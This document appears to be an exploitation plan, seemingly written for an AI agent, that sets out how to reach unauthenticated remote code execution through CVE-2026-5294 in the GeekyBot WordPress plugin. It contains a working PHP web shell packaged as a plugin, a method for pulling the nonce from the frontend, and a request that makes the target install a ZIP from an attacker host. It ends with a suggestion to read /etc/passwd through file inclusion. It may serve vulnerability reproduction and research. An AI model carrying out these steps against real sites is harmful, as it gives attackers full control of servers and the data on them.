Exploitation Research Plan: CVE-2026-5294 (GeekyBot Arbitrary Plugin Installation)

1. Vulnerability Summary

The GeekyBot plugin (version <= 1.2.2) is vulnerable to unauthenticated arbitrary plugin installation. The vulnerability exists because the plugin registers a nopriv AJAX action (geekybot_frontendajax) that acts as a dispatcher for model functions. This dispatcher lacks proper authorization checks, allowing an unauthenticated user to invoke a "plugin installer helper" function. This helper accepts an attacker-supplied URL, downloads a ZIP file, and extracts its contents into the wp-content/plugins/ directory, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: geekybot_frontendajax (unauthenticated via wp_ajax_nopriv_)
• Payload Parameters:
  • action: geekybot_frontendajax
  • geekybotlt: The layout/model name (e.g., geekybot).
  • task or function: The specific method to call (likely related to installation/updates).
  • url or plugin_url: The remote location of the malicious ZIP.
  • geekybot_nonce: A security token (obtained from the frontend).
• Preconditions: The plugin must be active. A valid nonce is required, but it is exposed to unauthenticated users on any page where the chatbot is rendered.

3. Code Flow

1. Entry: An unauthenticated request is sent to admin-ajax.php?action=geekybot_frontendajax.
2. Dispatcher: The handler for geekybot_frontendajax (likely in a central include or GEEKYBOTincluder) uses GEEKYBOTrequest::GEEKYBOT_getVar to retrieve a model (geekybotlt) and a method/task.
3. Model Loading: The dispatcher calls GEEKYBOTincluder::GEEKYBOT_getModel($model) and then invokes the requested task.
4. Sink: The execution reaches a function (e.g., geekybot_install_plugin or download_addon) which:
   • Calls download_url($url) with the attacker's URL.
   • Uses unzip_file($file, WP_PLUGIN_DIR) to extract the contents.
5. RCE: The attacker-supplied ZIP contains a new plugin with a PHP web shell.

4. Nonce Acquisition Strategy

The GEEKYBOTgeekybotController::canaddfile() function in modules/geekybot/controller.php checks for geekybot_nonce. This nonce is localized for the chatbot frontend.

1. Identify the Script: Search for wp_localize_script in the plugin directory to find the object name.
   • Guess (inferred): The object is likely geekybot_obj or geeky_bot_vars.
2. Setup: Create a page with the GeekyBot shortcode to ensure the script and nonce are loaded.
   • Shortcode: [geekybot] (inferred from readme.txt).
3. Extraction:
   • wp post create --post_type=page --post_status=publish --post_content='[geekybot]' --post_title='Chatbot Page'
   • Navigate to the new page.
   • Execute: browser_eval("window.geekybot_obj?.geekybot_nonce || window.geeky_bot_vars?.nonce").

5. Exploitation Strategy

Step 1: Preparation

Create a malicious ZIP file named rce-plugin.zip containing rce-plugin/rce.php:

<?php
/*
Plugin Name: RCE Plugin
*/
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
    exit;
}

Host this ZIP on a reachable server.

Step 2: Identification of the Vulnerable Task

Since the source for the AJAX handler is truncated, the agent must identify the exact task and parameter name by grepping for unzip_file or download_url within the modules/ directory.

Step 3: Execution

Send the following request using the http_request tool:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=geekybot_frontendajax&geekybotlt=geekybot&task=geekybot_install_plugin&url=http://attacker.com/rce-plugin.zip&geekybot_nonce=[NONCE]
  

  (Note: Adjust task and url parameter names based on discovery in Step 2).

Step 4: Verification of RCE

Access the uploaded shell:

• URL: http://localhost:8080/wp-content/plugins/rce-plugin/rce.php?cmd=id

6. Test Data Setup

1. Plugin Installation: Ensure GeekyBot version 1.2.2 is installed and active.
2. Page Creation: Create the page to host the chatbot and extract the nonce.
   • wp post create --post_type=page --post_status=publish --post_content='[geekybot]'
3. Permalinks: Ensure permalinks are flushed if necessary (though AJAX works regardless).

7. Expected Results

• The AJAX request should return a success message (often JSON like {"status":"success"} or 1).
• A new directory /var/www/html/wp-content/plugins/rce-plugin/ should be created.
• Requesting the shell URL should return the output of the id command.

8. Verification Steps

• WP-CLI: Run wp plugin list to see if rce-plugin appears in the list.
• Filesystem: ls -la /var/www/html/wp-content/plugins/rce-plugin/ to verify files exist.

9. Alternative Approaches

If the geekybot_frontendajax action is not the entry point:

1. Check admin_init: modules/geekybot/controller.php hooks into admin_init. Since admin-ajax.php triggers admin_init even for unauthenticated requests, check if the installation logic can be triggered via GET parameters to admin-ajax.php.
2. Check for LFI: If the GEEKYBOTincluder::GEEKYBOT_include_file($layout, $module) call in handleRequest() is reachable, attempt to include /etc/passwd or an uploaded log file by manipulating geekybotlt and geekybotme.